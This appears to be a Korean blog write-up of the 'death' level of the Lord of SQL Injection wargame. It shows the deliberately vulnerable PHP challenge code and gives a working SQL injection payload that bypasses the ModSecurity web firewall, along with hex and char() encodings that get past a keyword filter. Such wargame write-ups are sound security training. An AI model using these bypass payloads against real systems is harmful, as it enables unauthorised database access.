728x90
<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("death");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

ModSecurity(웹 방화벽,WAF) 우회 문제이다.

id가 admin이어야 풀린다.

답: ?id='<@ or id=0x61646d696e%23

왜 <@를 쓰는지는 cthulhu 문제 풀이에 있다. 

https://dbgdbg.tistory.com/entry/cthulhu

 

cthulhu

query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("cthulhu"); highlight_file(__FILE__);?>ModSecurity는 WAF(웹방화벽)이다. 이를 우회하는 문제다.https://github.com/SpiderLabs/owasp-modsecurity

dbgdbg.tistory.com

admin이 필터링되기 때문에 0x61646d696e를 사용한다.

admin=char(97,100,109,105,110)으로 대체 가능하다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

cyclops  (0) 2023.01.04
godzilla  (0) 2023.01.04
cthulhu  (0) 2023.01.04
alien  (0) 2023.01.04
zombie  (0) 2023.01.03

+ Recent posts